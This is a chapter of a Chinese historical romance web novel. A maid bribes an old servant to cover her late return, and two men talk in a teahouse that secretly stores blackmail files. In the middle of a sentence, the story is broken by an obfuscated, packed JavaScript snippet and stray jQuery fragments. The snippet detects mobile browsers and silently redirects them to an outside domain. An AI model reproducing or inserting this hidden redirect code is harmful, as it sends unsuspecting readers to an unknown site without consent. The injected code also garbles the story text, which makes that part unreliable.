静怡堂前灯火通明,远远看过去,两个丫头守在门外打瞌睡,想来谢氏应当是睡下了。
走出回廊站在院子里,柳阿五特意挪开伞任由大雨将自己淋湿,这才重新撑伞走过去。
丫头听到动静醒过来,看见是她先是一愣忙起身行礼后唤出赖嬷嬷。
赖嬷嬷是谢氏的陪房最得谢氏信任,若想今晚的事能够瞒过谢氏还有明日顺利出府,应承好这位赖嬷嬷是关键。
大公子私下里给了她不少东西,阿五本想将金牡丹步摇拿去给赖嬷嬷封口,可是左瞧右瞧都觉得可惜,虽然这步摇她从未戴过恐怕日后也不会戴,可是一想到要送给那等人就舍不得了,最后再三权衡才拿了一枚白玉观音挂坠。
这挂坠也是大公子送的,说是给她未来中意的人,她哪里还会有什么中意的人,连未来恐怕都快没有了,这挂坠玉质上乘可毕竟是男子佩戴之物,她留着也用不上,索性送出去吧。
看到柳阿五一身狼狈而来,赖嬷嬷忙将她拉进屋里,又叫人端来热水和巾帕帮她擦身,“我的乖儿,你这是怎么了。”
“嬷嬷快别忙活。”柳阿五接过巾帕,“我怎能劳动嬷嬷伺候我。”
赖嬷嬷的老脸上露出笑容,“你是个乖巧的,今儿怎么回来这么晚。”
柳阿五一边擦手一边撸掉腕上的金镯,“劳嬷嬷帮我拿一下,这不大雨路不好走,偏巧今日贵妃娘娘身子不舒服,我便在外头多等了一会儿。”
算是解释了晚归的原因。
赖嬷嬷点头,看着她慢慢擦拭身上的雨水,那双粗糙的老手摸了又摸那扎实厚重的金镯心中泛酸,这丫头还真是得了不少好东西。
“好孩子,难为你一回来就过来看夫人,夫人晚间病得凶,这会儿刚喝了药睡下了。”
阿五点头,“今晚我就守在这里,嬷嬷去休息吧,您老忙活一日也辛苦了。”
这话倒是受用,赖嬷嬷笑道:“你的孝心老奴心领了,大夫说今晚凶险,老奴还是守在这里,不然也不放心。”
面前的小娘子真真是个美人,雪峰细腰,皮肤白得似玉,赖嬷嬷想,就这般浑身淋透的勾人模样若是叫哪个郎君看了去,还不得就此得了相思病。
柳阿五往屋里瞧了瞧,隔着屏风其实什么都瞧不见,愁着一张小脸道:“那又要辛苦嬷嬷了,若是有什么吩咐您尽管使唤我。”
赖嬷嬷心道,这张小嘴惯是会哄人,若当真大公子回不来,她便要向夫人讨了这个小狐狸精去,给她家那个傻儿子开开荤。
人的心思往往能从眼神中流露出来,柳阿五只当没瞧见,假意往外走,却被赖嬷嬷拉住了。
“姑娘忘了东西。”是方才让她帮着拿的金镯子。
柳阿五推辞,“嬷嬷辛苦,这是我的孝心,您收着别说是我笼络您的,全当您心疼我,替我伺候夫人。”
说完轻咳几声,瞬时红了面颊。
她样貌出色脾性柔软,真心做出哄人的温顺样子,又是这般我见犹怜的可怜相,就是那天上神仙见了也保管心甘情愿听她吩咐。
果然,赖嬷嬷的一张老脸瞬时挤出褶子,将那镯子直接套在自己手上,喜笑颜开道:“姑娘真是心疼老奴,那我就收下了。”
如此,甚好。
阿五拉着赖嬷嬷的手坐下,轻轻揉捏她的肩颈,“我索性晚间无事,陪着嬷嬷多坐一会儿帮您松快松快。”
她学的侍奉人的能耐绝佳,谢氏就最喜欢她捏肩捶腿的手法。
赖嬷嬷得意地闭上眼,“真是老了不中用了,夫人这次也是能折腾,就连喝药都要老奴亲自伺候,旁人还不行。”
谢氏折腾的人的法子数不尽,即便是在她身边侍奉再贴心的老人,也难逃她的手段,好像折腾别人看到别人痛苦对她而言似有无穷乐趣。
“那也是因为嬷嬷最了解夫人最合夫人心思。”柳阿五嘴甜,认真哄起人来句句说到人心坎里,叫人极受用。
赖嬷嬷拍了拍她的手,“还是你贴心,我若有你这样的闺女该多好啊。”
一句玩笑话而已,柳阿五知道赖嬷嬷最是宝贝她家那个傻儿子,遂拿出玉坠道:“瞧您说的,我那哥哥多好,又听话又孝顺,这般郎君人家求都求不来,我今日出门刚好看到这块玉坠,想着哥哥的生辰快到了,提前送个生辰礼吧。”
玉质油润莹白细腻,雕刻的观音栩栩如生,一看便知是上等的物件,赖嬷嬷跟着谢氏自然也是见多识广,将那玉坠拿在手里反复摸索,咂摸道:“这可是好东西啊,让你破费了,你等着,我那儿子马上就到。”
柳阿五一怔,暗暗叫苦怎么这么巧,门帘已经被人打开,一个高大肥胖嘴歪眼斜的少年进来,傻呵呵咧嘴一笑:“娘。”
这个傻子是赖嬷嬷唯一的儿子,小时候是个聪明伶俐的孩子,只有一次不小心打碎了谢氏最爱的梅花玉净瓶,被谢氏罚跪在雨里一整晚,后起了高烧病了三日,醒来后就变得痴傻了。
赖嬷嬷敢怒不敢言,谢氏自知理亏便给了赖嬷嬷丰厚的赏银又许了她诸多便宜,还保证日后管她这个傻儿子娶妻生子,这才堪堪稳住这个老嬷嬷的心。
但是柳阿五瞧着,赖嬷嬷心里是有疙瘩的,这是人性。
“哥哥。”柳阿五忍着恶心笑着向傻子行礼。
傻子看见她眼珠子快瞪出来了,一双手直往□□里掏,嘴巴里含混不清咕噜着:“要,要。”
傻子十八了,早该娶媳妇了,可谢氏的承诺始终未曾兑现,憋得傻子日日想法子疏解,都快落下毛病了。
赖嬷嬷好歹是谢氏身边有脸面的嬷嬷,赶紧拉着傻儿子坐在自己身边,“要,有,这里什么都有,快看看你妹妹给你带什么好东西了。”
白玉观音在傻子眼前只一晃,赖嬷嬷便赶紧把桌上的点心拿去打发他了。
有了吃的傻子的注意力瞬间被转移,狼吞虎咽起来,赖嬷嬷觉得面上无光,叹了一口气道:“小时候是个多聪慧乖巧的孩子,好多个算命的都说这娃日后是宰相的料。”
这个时候尽管往大了吹,柳阿五安慰她,“嬷嬷别难过,福气还在后头呢。”
赖嬷嬷讪讪一笑,这个话题便不再说了。
看着面前乖巧俊俏的小娘子,赖嬷嬷心里盘算着等大公子的事情落地了,找个机会向夫人求了这个丫头来,算是夫人还她的。
三人坐着,柳阿五瞧了瞧吃得满脸渣的傻子心里直犯恶心,不自觉蹙眉,纤细的素手按压住额角,面露难色。
赖嬷嬷惊问:“可是老毛病又犯了,准是今日累着了。”
阿五的病是打小落下的,府内无人不知,听她如此说便也没否认。
“可怜见儿的,这没个两三日都下不来床。”赖嬷嬷扶起她朝外走,“赶紧回去吧,夫人这边有我呢。”
阿五也不推辞白着脸点头道谢,“那便辛苦嬷嬷了。”
到底是两件好玩意儿的劲儿大,顶得赖嬷嬷颇有几分真心道:“放心歇着吧,这几日不太平你也少出去走动。”
说完又压低声音附耳道:“听说敬王殿下遇刺了,流了好多血。”
柳阿五愣住了,她才见过敬王便遇刺,怎得这般巧合……
*
翌日,风停雨住阳光灿烂。
隐世阁里一片繁华热闹。
此间茶楼一年前在京城开起来,听名字不像个茶楼,内里也的确丰富了些。
统共三层装饰得富丽堂皇,好茶自是不能少,胡姬歌舞更是吸引人,自开张以来日日人满为患,生意兴隆,一座难求。
但世人不知的是,茶楼只是个幌子,在这隐世阁的地下还有更大更广阔的一方天地,高耸入顶的一排排书格摆满了案卷文书,上面是朝廷官员及世家大族的把柄和阴私之事。
小到某九品芝麻官纳妾成瘾却又不能人道这种闺房秘辛,大到二品大员贪墨屯田、豢养私兵这样灭九族的大事,可谓无所不有。
不是不爆,时候未到。
隐世阁明面上的老板叫袁子与,字小以,二十有三孤家寡人,出身汝南袁氏,世家大族中的一个另类,早些年因看不惯世族行事作风屡屡惹祸被族中除名,如今闲云野鹤倒是乐得自在。
这袁子与除了经营隐世阁以外还有一癖好,便是替人做文章科考并以此牟利。
每年科考之时便是他大肆敛财之际,文章俊秀、才华横溢,替考生们代笔收取高昂的酬金,即便是被人查到只要咬死口不承认,也不能拿他怎么样。
雅间里,袁子与大剌剌地斜靠在软垫上,一条腿撑起,长臂闲散地搭在膝上,一边慢慢啜饮今年新下来的春茶,一边一脸哀怨地看着对面兰芝玉树的男人。
“我说,那个事真查不了,都多少年前的陈芝麻烂谷子了,这沭阳公主……”
桓晏一个凌厉的眼风扫过来,袁子与立马闭了嘴。
“那你自己去同贵人说。”桓晏垂眸拿出食盒里的点心,慢慢品味。
点心精美香气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653566|172850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四溢,很美味的样子。
“我说,什么点心这么金贵,连一块都不让我尝。”
被噎了一句,袁子与翻了个白眼再不提查不了的事,话题换到桓晏手中的点心上。
桓晏带来的食盒里装了四样点心,花开富贵、碧波荡漾、吉祥如意和佳偶天成,分别是粉韵桃花酥、浆果酸乳酪、金桔山楂点和藕粉桂花糕。
“独乐乐不如众乐乐,怀松你也不是小气的人,对吧。”
袁子与伸出手就去够点心,还未触碰到便被桓晏“啪”地打了手,力道之大瞬间红了手背。
“哟哟哟,你小点儿劲儿,就你这力气若是娶了娘子,恐怕得被你折腾没命。”
袁子与苦着脸怼他。
桓晏一怔,似乎想到了什么,口中的桃花酥险些掉了。
袁子与仍不死心,看着他那张千年不变的冰山脸,勾唇笑问:“莫不是哪家小娘子所赠,怀松视若珍宝。”
桓晏不接话,反问他:“今年春试你又赚了多少?”
说起这个袁子与一脸得意,手指敲击桌面摇头晃脑道:“那些个废物家中殷实出得起银子,我这是辛苦所得,谁叫他们脑中空空,蠢不可及。”
大夏朝子建朝以来多仰仗世家大族,前些年皇族式微,自惠帝登基以来扶持了一批又一批寒门子弟,局面似有扳平的趋势,世族逐渐感受到了压力,但是百年来的繁茂昌盛世族子孙早已养尊处优不思进取,或有出类拔萃如桓启元者也是凤毛麟角屈指可数,其他的,都是些酒囊饭袋纨绔子弟,不堪一用。
“这些人拿着你的文章科考入仕在朝为官,又将是一群祸害。”桓晏素来节制有度每样糕点吃了一块,便不再多吃,慢慢地又装回到食盒里。
“切,你以为我不替他们做文章他们就不能入仕了吗。”袁子与撇嘴,“整个朝廷都腐烂了,又不差这一个两个,我不愿同他们为伍却又不能如你一般……”
话题戛然而止,袁子与坐正身子伸出手,“我说你就让我尝一口总可以吧,今日怎的这般小气。”
桓晏不答他的话,垂眸饮茶道:“这番话你可敢在贵人面前说。”
袁子与哑口,也歇了再跟他讨要点心的心思。
只道:“怀松我倒是想要劝劝你,凡事看开些,不必这么负重,活得太累没意思。”
桓晏长指捏起茶盏,白瓷细腻莹润同他的手比起来倒失了几分颜色。
“我与你不同。”他声音淡淡,抬眸看向窗外。
日光透过竹簟洒在他的脸上,凌厉英俊的眉眼淬了细碎的金光,柔和得仿佛暖阳下的潺潺流水。
“你当放松些。”袁子与起身走到外廊下,这里是茶楼三层,楼下便是热闹繁盛的街市,人来人往烟火缭绕。
“你才是这隐世阁的主人,如今手握这些人的把柄,想参谁还不是易如反掌,何须搞得这么麻烦。”
袁子与肤色并不白,却占了个眉清目秀姿态潇洒,长衫被风吹起,墨发飘飘风流倜傥,顿时引来楼下一众小娘子们羞涩勾魂的眼神和嬉笑。
“证据在手定罪容易,那就太便宜他们了。”
桓晏饮尽白瓷盏中的青色茶汤,将那圆润小巧的瓷盏握在手中,这细腻温暖的手感似曾相识,一瞬间好似想到了什么。
“主子。”昌平进门放下一个方匣和一封信,扫了一眼那食盒低着头敛住哀怨的眼神默默退出。
“什么东西?”袁子与来了兴致,从廊外走进来想要去拿昌平放下的东西,却对上了那双阴鸷深邃的黑眸,漆黑凌厉,好似利剑出鞘般的寒光直指向他。
“不看就不看嘛,瞪我作甚。”
袁子与扫了一眼那书信上的簪花小楷,俊秀细腻字如其人。
“是个美人。”袁子与戏谑道,“没想到怀松千年铁树竟是要开花了吗,难不成这糕点也出自这美人之手?”
他一脸坏笑看着桓晏,见他不语,凑近又问,“该不会是什么定情信物吧。”
冷若冰霜的一张脸看向他,眸中如淬寒冰杀气腾腾,“是我送你走,还是你自己走。”
长剑出鞘的声音刺入耳膜,袁子与彻底败下阵来,快速拉开距离怏怏道:“好好,我走行了吧,护得心肝宝贝似的,谁稀罕。”
长腿甩过潇洒起身,白色外衫飘飘,风流公子麻溜出门,刚一出现在廊下立时引来娇俏甜美的女郎们叫声连连。
与此同时,屋内一件女子的小衣被桓晏握在手心里摩挲。